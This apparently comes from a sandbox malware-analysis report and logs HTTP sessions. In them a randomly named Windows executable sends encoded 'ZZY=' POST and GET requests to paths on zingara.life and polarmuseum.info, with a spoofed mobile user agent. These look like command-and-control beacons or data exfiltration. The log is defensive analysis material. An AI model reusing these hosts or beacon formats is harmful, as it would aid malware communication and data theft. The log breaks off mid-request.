ZZY=vYwezIkxYKhPhs30qoehas6wY/xPSoII8hMRbZ9HyxsoEAXKpYO1+wfgWcC/Vb8PGN+BKtRAvDD1ITcfXr57MC8swb0wfLwJBlprCnK6zXvQNFCa0ucih9hBTNkycIXSwncggQ/1m0aPUEU/jTs1fCfY7EJ+QRiF2PihdEugximL3MGWz0d0hmoaDjrI1wofBQVlpqYrhoWpbd/eXg==
Oct 9, 2024 14:07:51.686175108 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:07:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-sorting-hat-podid: 156 x-sorting-hat-shopid: 68129128605 vary: Accept-Encoding,Accept x-frame-options: DENY x-shopid: 68129128605 x-shardid: 156 content-language: en-IN x-shopify-nginx-no-cookies: 0 set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:51 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:51 GMT; SameSite=Lax set-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:51 GMT; SameSite=Lax set-cookie: _shopify_y=2a006b9e-2410-43a9-ad69-41888273dea8; Expires=Thu, 09-Oct-25 12:07:51 GMT; Domain=zingara.life; Path=/; SameSite=Lax set-cookie: _shopify_s=25a32db8-d952-465f-870e-9f90c6ffc1bd; Expires=Wed, 09-Oct-24 Data Raw: Data Ascii:
Oct 9, 2024 14:07:51.686234951 CEST	1236	IN	Data Raw: 31 32 3a 33 37 3a 35 31 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 7a 69 6e 67 61 72 61 2e 6c 69 66 65 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 66 65 31 61 66 65 62 39 2d 33 33 Data Ascii: 12:37:51 GMT; Domain=zingara.life; Path=/; SameSite=Laxx-request-id: fe1afeb9-33ca-4dfd-9b8f-b9d803a34723-1728475671server-timing: processing;dur=236content-security-policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%
Oct 9, 2024 14:07:51.686248064 CEST	1236	IN	Data Raw: 61 74 69 6f 6e 3b 64 75 72 3d 33 30 32 2e 39 39 39 39 37 33 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 66 65 34 30 62 30 37 63 35 37 37 63 37 63 2d 45 57 52 0d 0a 0d 0a 36 37 39 0d 0a 1f 8b 08 Data Ascii: ation;dur=302.999973Server: cloudflareCF-RAY: 8cfe40b07c577c7c-EWR679X[o6~Th)[kvv:`hFv}(Kr~Q%w\}4CGPR^<B(QIPQQrr-.$5Hs85dGW*x#irzP@K
Oct 9, 2024 14:07:51.686259985 CEST	507	IN	Data Raw: f3 15 b9 a5 e2 6b 6a 63 1c 0d 5a 93 24 f9 aa d2 93 5a 22 1a 08 c6 03 9e 9c dc 48 d3 41 de 5d 30 3f 54 a4 a5 c6 b0 bb 41 b4 e1 cc 5b 22 2b 04 e1 7c 1b a5 fe 6c 89 dd d0 4f 96 31 ba 8c 16 7e 1c a5 ae 17 fa b3 c5 12 01 50 69 ba b0 bb 18 68 c2 b8 a7 Data Ascii: kjcZ$Z"HA]0?TA["+\|lO1~Pih.;/\|ty@p7\!}lVWpuvxYc`]Mqt"~8N/_c"JTn<P8\|$p=]>6BblS?VfAs r^a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49998	23.227.38.74	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:53.343225956 CEST	694	OUT	POST /s7qk/ HTTP/1.1 Host: www.zingara.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.zingara.life Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.zingara.life/s7qk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 76 59 77 65 7a 49 6b 78 59 4b 68 50 75 74 48 30 6f 4a 65 68 53 73 36 7a 64 2f 78 50 63 49 4a 50 38 68 41 52 62 62 52 74 79 44 49 6f 4b 42 6e 4b 37 74 36 31 7a 51 66 67 59 38 44 30 49 72 38 59 47 4e 69 6a 4b 6f 35 41 76 43 6e 31 49 54 73 66 55 59 68 36 4f 53 38 75 38 37 30 79 41 62 77 4a 42 6c 70 72 43 6e 76 52 7a 54 44 51 4d 30 79 61 37 72 38 6c 6f 64 68 47 45 39 6b 79 57 6f 58 57 77 6e 63 53 67 52 6a 66 6d 78 65 50 55 42 77 2f 6a 69 73 71 52 43 66 65 6c 30 4a 72 52 78 6e 4a 73 36 32 49 63 6c 57 6a 31 53 57 4a 37 61 62 30 70 57 52 59 2f 33 51 68 48 68 50 2b 69 57 31 71 44 52 52 39 6b 49 73 4b 2b 66 7a 44 57 50 65 61 42 62 45 65 70 7a 4c 35 2f 33 78 6f 50 31 2b 51 77 46 2f 30 51 47 63 3d Data Ascii: ZZY=vYwezIkxYKhPutH0oJehSs6zd/xPcIJP8hARbbRtyDIoKBnK7t61zQfgY8D0Ir8YGNijKo5AvCn1ITsfUYh6OS8u870yAbwJBlprCnvRzTDQM0ya7r8lodhGE9kyWoXWwncSgRjfmxePUBw/jisqRCfel0JrRxnJs62IclWj1SWJ7ab0pWRY/3QhHhP+iW1qDRR9kIsK+fzDWPeaBbEepzL5/3xoP1+QwF/0QGc=
Oct 9, 2024 14:07:54.257119894 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:07:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-sorting-hat-podid: 156 x-sorting-hat-shopid: 68129128605 vary: Accept-Encoding,Accept x-frame-options: DENY x-shopid: 68129128605 x-shardid: 156 content-language: en-IN x-shopify-nginx-no-cookies: 0 set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:53 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:53 GMT; SameSite=Lax set-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:54 GMT; SameSite=Lax set-cookie: _shopify_y=f1994b7a-4418-4777-9882-f971f0cbd2e4; Expires=Thu, 09-Oct-25 12:07:54 GMT; Domain=zingara.life; Path=/; SameSite=Lax set-cookie: _shopify_s=8e62383f-c62d-45d6-a9c4-12d0e528e322; Expires=Wed, 09-Oct-24 Data Raw: Data Ascii:
Oct 9, 2024 14:07:54.257144928 CEST	1236	IN	Data Raw: 31 32 3a 33 37 3a 35 34 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 7a 69 6e 67 61 72 61 2e 6c 69 66 65 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 65 34 31 37 66 34 35 37 2d 66 65 Data Ascii: 12:37:54 GMT; Domain=zingara.life; Path=/; SameSite=Laxx-request-id: e417f457-fe2c-4d81-add5-90ac10630a20-1728475673server-timing: processing;dur=178content-security-policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%
Oct 9, 2024 14:07:54.257155895 CEST	1236	IN	Data Raw: 74 44 75 72 61 74 69 6f 6e 3b 64 75 72 3d 33 39 34 2e 30 30 30 30 35 33 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 66 65 34 30 63 31 30 63 38 63 34 32 65 38 2d 45 57 52 0d 0a 0d 0a 36 37 39 0d Data Ascii: tDuration;dur=394.000053Server: cloudflareCF-RAY: 8cfe40c10c8c42e8-EWR679X[o6~Th)[kvv:`hFv}(Kr~Q%w\}4CGPR^<B(QIPQQrr-.$5Hs85dGW*x#irzP
Oct 9, 2024 14:07:54.257168055 CEST	511	IN	Data Raw: b3 7d 7e 4f f3 15 b9 a5 e2 6b 6a 63 1c 0d 5a 93 24 f9 aa d2 93 5a 22 1a 08 c6 03 9e 9c dc 48 d3 41 de 5d 30 3f 54 a4 a5 c6 b0 bb 41 b4 e1 cc 5b 22 2b 04 e1 7c 1b a5 fe 6c 89 dd d0 4f 96 31 ba 8c 16 7e 1c a5 ae 17 fa b3 c5 12 01 50 69 ba b0 bb 18 Data Ascii: }~OkjcZ$Z"HA]0?TA["+\|lO1~Pih.;/\|ty@p7\!}lVWpuvxYc`]Mqt"~8N/_c"JTn<P8\|$p=]>6BblS?VfAs r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49999	23.227.38.74	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:55.908375978 CEST	1707	OUT	POST /s7qk/ HTTP/1.1 Host: www.zingara.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.zingara.life Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.zingara.life/s7qk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 76 59 77 65 7a 49 6b 78 59 4b 68 50 75 74 48 30 6f 4a 65 68 53 73 36 7a 64 2f 78 50 63 49 4a 50 38 68 41 52 62 62 52 74 79 44 41 6f 4b 7a 76 4b 70 2b 53 31 79 51 66 67 51 63 43 7a 49 72 38 46 47 4e 71 6e 4b 6f 31 51 76 41 76 31 4a 77 6b 66 63 4e 4e 36 48 53 38 75 6a 4c 30 7a 66 4c 77 59 42 6c 34 73 43 6e 66 52 7a 54 44 51 4d 32 71 61 2f 2b 63 6c 6b 39 68 42 54 4e 6b 32 63 49 57 4c 77 6e 45 6f 67 52 33 6c 6d 43 57 50 55 68 67 2f 68 77 30 71 5a 43 66 63 6b 30 49 75 52 77 61 4c 73 36 43 4d 63 6c 69 46 31 56 36 4a 2b 64 69 67 38 31 56 4f 72 68 41 46 59 69 65 66 69 32 39 32 42 69 6c 39 69 36 38 77 77 2f 62 42 5a 4d 53 42 55 50 6c 35 38 43 62 37 31 7a 4a 75 66 54 62 4d 72 48 69 75 4d 43 66 2b 48 71 5a 46 7a 54 32 76 79 78 49 67 6e 53 6e 6b 30 6a 74 49 6c 50 32 78 6c 62 46 56 34 36 54 72 32 68 6d 61 41 34 36 43 49 50 77 49 4c 6b 4d 33 75 71 75 65 4c 63 75 30 70 4e 6f 6c 6b 76 6e 56 35 5a 53 54 53 70 44 74 61 62 6e 38 32 5a 72 6c 52 46 52 6e 64 6b 75 32 6b 76 30 6f 52 53 68 54 70 43 36 61 6e 68 [TRUNCATED] Data Ascii: ZZY=vYwezIkxYKhPutH0oJehSs6zd/xPcIJP8hARbbRtyDAoKzvKp+S1yQfgQcCzIr8FGNqnKo1QvAv1JwkfcNN6HS8ujL0zfLwYBl4sCnfRzTDQM2qa/+clk9hBTNk2cIWLwnEogR3lmCWPUhg/hw0qZCfck0IuRwaLs6CMcliF1V6J+dig81VOrhAFYiefi292Bil9i68ww/bBZMSBUPl58Cb71zJufTbMrHiuMCf+HqZFzT2vyxIgnSnk0jtIlP2xlbFV46Tr2hmaA46CIPwILkM3uqueLcu0pNolkvnV5ZSTSpDtabn82ZrlRFRndku2kv0oRShTpC6anh81tPpJQ8fgQOQ+cU7JcbX9FqvP3cLuPTjqRZ75ESlLSIlopdfJ4ksyCdPv8GzujX2jUM7zMM9V217y++jLrA/xHeRvvJGUq4jN4SQKGe+ywAhmyjRVRWTDR5rlXr+4F8hmljCrlpwi9WM1+K9pUdXno1wncFQchsrqRAOW5ueaxOCMnziputfUCc/Ee2IM2kfVcLlMUGKmJ+PVHv7LMOlNSy8ouIiGv+PHRxK5NSDsYI0tFE8Ga8JZbaafpnID3DfTtUQTq1oCR5Y7/M6SFYu7QWnfJxWzgYyi7pVOWaIkirXteUMR37UssziULMGdK5IXNRB5a6PrWsM+EvyLqE/yKjeHAFY1/1Ss61PQVe52eeSOaBYMJFapTzkUagRH9ObwHHWPia4tgy0yZcpKLB2/yaXU4G1N6LKZh4mR6krIU6akmgHRpyWg7Zq2NAnBnk0iVwr4s0Jx5cUrbHBc27ZW5cnNTcMgFy1hILo20/a6JsEFqqjV53CHbaE7k8cN2Du22spfTmdrLNgSMLy9cIZgzO1DUp50WWs4ke3Wfea/4DEGr05hRShg8j2XYxIhubjhvuh0W2WCr7rhtm+J7/stxxWTGU99WiKFBP0HSrm5VjTCGRRXlP0g99PtNdBIdCR7zNPS7JxLGYdly7VVZbecGMEi/zTNA6YO [TRUNCATED]
Oct 9, 2024 14:07:56.496354103 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:07:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-sorting-hat-podid: 156 x-sorting-hat-shopid: 68129128605 vary: Accept-Encoding,Accept x-frame-options: DENY x-shopid: 68129128605 x-shardid: 156 content-language: en-IN x-shopify-nginx-no-cookies: 0 set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:56 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:56 GMT; SameSite=Lax set-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:56 GMT; SameSite=Lax set-cookie: _shopify_y=8a594a9b-e5d6-46f6-b3bc-dacfbc7bea45; Expires=Thu, 09-Oct-25 12:07:56 GMT; Domain=zingara.life; Path=/; SameSite=Lax set-cookie: _shopify_s=022fb35b-4924-43c4-88bf-911b01658e63; Expires=Wed, 09-Oct-24 Data Raw: Data Ascii:
Oct 9, 2024 14:07:56.496368885 CEST	224	IN	Data Raw: 31 32 3a 33 37 3a 35 36 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 7a 69 6e 67 61 72 61 2e 6c 69 66 65 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 34 65 63 31 38 66 33 66 2d 63 39 Data Ascii: 12:37:56 GMT; Domain=zingara.life; Path=/; SameSite=Laxx-request-id: 4ec18f3f-c937-4051-bac3-b32bb25861a0-1728475676server-timing: processing;dur=93content-security-policy: frame-ancestors 'none'; report-uri /csp-repor
Oct 9, 2024 14:07:56.496901035 CEST	1236	IN	Data Raw: 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 6e 6f 74 5f 66 6f 75 6e 64 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 73 74 6f 72 Data Ascii: t?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=4ec18f3f-c937-4051-bac3-b32bb25861a0-1728475676x-content-type-options: nosniffx-downloa
Oct 9, 2024 14:07:56.496913910 CEST	1236	IN	Data Raw: 0e 2a 78 23 69 03 72 1a 7a 50 fb 40 4b ea e4 6d 4d 91 bc 6d 81 56 d2 1b 19 14 5d 07 3a 40 0a 42 3f a1 cf 68 cd 45 49 45 16 3e 43 3b 22 b6 ac 51 ab 96 94 25 6b b6 6a e9 ed f8 27 6f cd 6f bc 8e 7d 52 47 86 5c 9d c0 dd 91 ae af 99 7c e8 fa 01 ae 2f Data Ascii: *x#irzP@KmMmV]:@B?hEIE>C;"Q%kj'oo}RG\\|/Z]L(V2ggNzcmJ SE^Fjuy4(!8&V(pPzv&i~fkPK5y~8.I,UV(U<Rmt#OaA!
Oct 9, 2024 14:07:56.496925116 CEST	278	IN	Data Raw: 0c 73 20 d5 72 f4 e2 d2 8a d7 bb 5e b1 61 b0 56 18 24 de a8 fa 02 2f 4d cd 59 14 fe b7 73 ca 70 8c ae e0 63 31 41 76 00 72 e5 58 99 5f 45 b6 20 ad 05 d6 d2 7d 17 e0 79 b0 3d 17 89 b3 c7 67 0e ef 1d c1 e3 72 98 48 cc 03 36 56 90 b7 b6 75 0f 8f a9 Data Ascii: s r^aV$/MYspc1AvrX_E }y=grH6VujfTq.>pZA)"n>9xdvya\|tVtsB@oCZ3T=EanM+H~C%m>]U\|\|$2X'UmA#YQz`\|~m4c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50000	23.227.38.74	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:58.448271036 CEST	415	OUT	GET /s7qk/?ZZY=iaY+w4IpIrYSidyoirH4HJSkbusQX4NI5gNJJ4lc6xQkeif0pMuzzCPjcczGW/AsONaxEKF5w0HAACs6c94+MzxqwLAwe70WCnJ+QkbRlWeyUQ/E8YwpuoNtXuk6ep3axG9muxvIvCTd&mHm0o=rrqhoH HTTP/1.1 Host: www.zingara.life Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:07:58.956057072 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 09 Oct 2024 12:07:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close x-sorting-hat-podid: 156 x-sorting-hat-shopid: 68129128605 x-storefront-renderer-rendered: 1 location: https://zingara.life/s7qk?ZZY=iaY+w4IpIrYSidyoirH4HJSkbusQX4NI5gNJJ4lc6xQkeif0pMuzzCPjcczGW/AsONaxEKF5w0HAACs6c94+MzxqwLAwe70WCnJ+QkbRlWeyUQ/E8YwpuoNtXuk6ep3axG9muxvIvCTd&mHm0o=rrqhoH x-redirect-reason: https_required x-frame-options: DENY content-security-policy: frame-ancestors 'none'; x-shopid: 68129128605 x-shardid: 156 vary: Accept powered-by: Shopify server-timing: processing;dur=14, db;dur=4, asn;desc="3356", edge;desc="EWR", country;desc="US", pageType;desc="404", servedBy;desc="xt5b", requestID;desc="946ff833-0065-4ef3-b0b4-521e662fc7a4-1728475678" x-dc: gcp-us-east1,gcp-us-east1,gcp-us-east1 x-request-id: 946ff833-0065-4ef3-b0b4-521e662fc7a4-1728475678 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a0CLDKfmr7owkWkUzClp2GRwMbnlDrC3R08nezv2g8RcKzp82hF0ivLAJaXcF2RuQk6DLGT3zHxNVCWRlJX2q6yiVrJ4aEzcHTE71Te615BIalhdy%2BFFiCb%2B8E3JQuFef%2Fo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_f Data Raw: Data Ascii:
Oct 9, 2024 14:07:58.956235886 CEST	288	IN	Data Raw: 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 63 66 52 65 71 75 65 73 74 44 75 72 61 74 Data Ascii: action":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=63.000202X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-Download-Options: noopenServer:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50001	199.59.243.227	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:04.100651979 CEST	686	OUT	POST /reui/ HTTP/1.1 Host: www.polarmuseum.info Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.polarmuseum.info Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.polarmuseum.info/reui/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 34 2b 31 43 59 36 6f 4d 33 30 55 57 32 47 69 2f 30 46 78 45 33 74 4f 62 79 41 65 50 50 61 62 4d 58 34 68 32 78 74 7a 6c 33 4e 5a 6d 35 67 70 34 70 4e 4f 6e 58 76 65 48 4c 49 61 52 59 39 78 48 37 57 63 53 35 36 33 6c 55 73 69 73 64 65 68 6a 76 72 38 77 51 48 4a 6e 76 35 70 68 5a 45 4a 5a 4c 33 31 42 65 69 66 30 4e 51 38 6f 49 79 42 54 59 4f 30 48 55 4d 4a 6e 75 48 46 79 69 6e 59 35 64 6b 57 44 44 64 36 53 4f 61 59 62 41 65 63 61 58 46 78 2b 5a 4a 66 43 4c 70 48 6a 37 2b 54 4b 46 45 61 4b 55 46 7a 4b 2b 50 6c 57 63 48 5a 69 66 71 45 68 49 32 69 30 37 59 4e 69 33 54 6a 6e 59 4a 33 59 63 74 33 6a 69 71 58 73 42 36 62 72 41 3d 3d Data Ascii: ZZY=x4+1CY6oM30UW2Gi/0FxE3tObyAePPabMX4h2xtzl3NZm5gp4pNOnXveHLIaRY9xH7WcS563lUsisdehjvr8wQHJnv5phZEJZL31Beif0NQ8oIyBTYO0HUMJnuHFyinY5dkWDDd6SOaYbAecaXFx+ZJfCLpHj7+TKFEaKUFzK+PlWcHZifqEhI2i07YNi3TjnYJ3Yct3jiqXsB6brA==
Oct 9, 2024 14:08:04.533595085 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:08:03 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: 6f9baea8-3bcd-4940-803d-dbb825dc1b33 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA== set-cookie: parking_session=6f9baea8-3bcd-4940-803d-dbb825dc1b33; expires=Wed, 09 Oct 2024 12:23:04 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 74 71 38 78 51 4d 41 51 59 76 4e 50 75 51 4d 69 77 50 30 55 51 31 58 4a 65 46 61 66 4a 75 5a 79 42 2f 2b 68 6d 37 57 70 35 41 74 5a 65 7a 58 2b 36 70 77 7a 50 6f 79 30 77 51 71 63 43 68 4d 39 6f 67 64 61 4c 43 48 62 74 78 4b 56 75 41 6a 62 74 47 41 47 47 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_tq8xQMAQYvNPuQMiwP0UQ1XJeFafJuZyB/+hm7Wp5AtZezX+6pwzPoy0wQqcChM9ogdaLCHbtxKVuAjbtGAGGA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:08:04.533689976 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNmY5YmFlYTgtM2JjZC00OTQwLTgwM2QtZGJiODI1ZGMxYjMzIiwicGFnZV90aW1lIjoxNzI4NDc1Nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50002	199.59.243.227	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:06.653103113 CEST	706	OUT	POST /reui/ HTTP/1.1 Host: www.polarmuseum.info Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.polarmuseum.info Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.polarmuseum.info/reui/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 78 34 2b 31 43 59 36 6f 4d 33 30 55 57 54 4f 69 7a 33 39 78 42 58 74 4e 65 79 41 65 47 76 61 6c 4d 58 30 68 32 77 35 6a 6b 46 70 5a 6d 59 77 70 35 6f 4e 4f 67 58 76 65 66 62 49 54 65 34 39 45 48 37 61 75 53 38 43 33 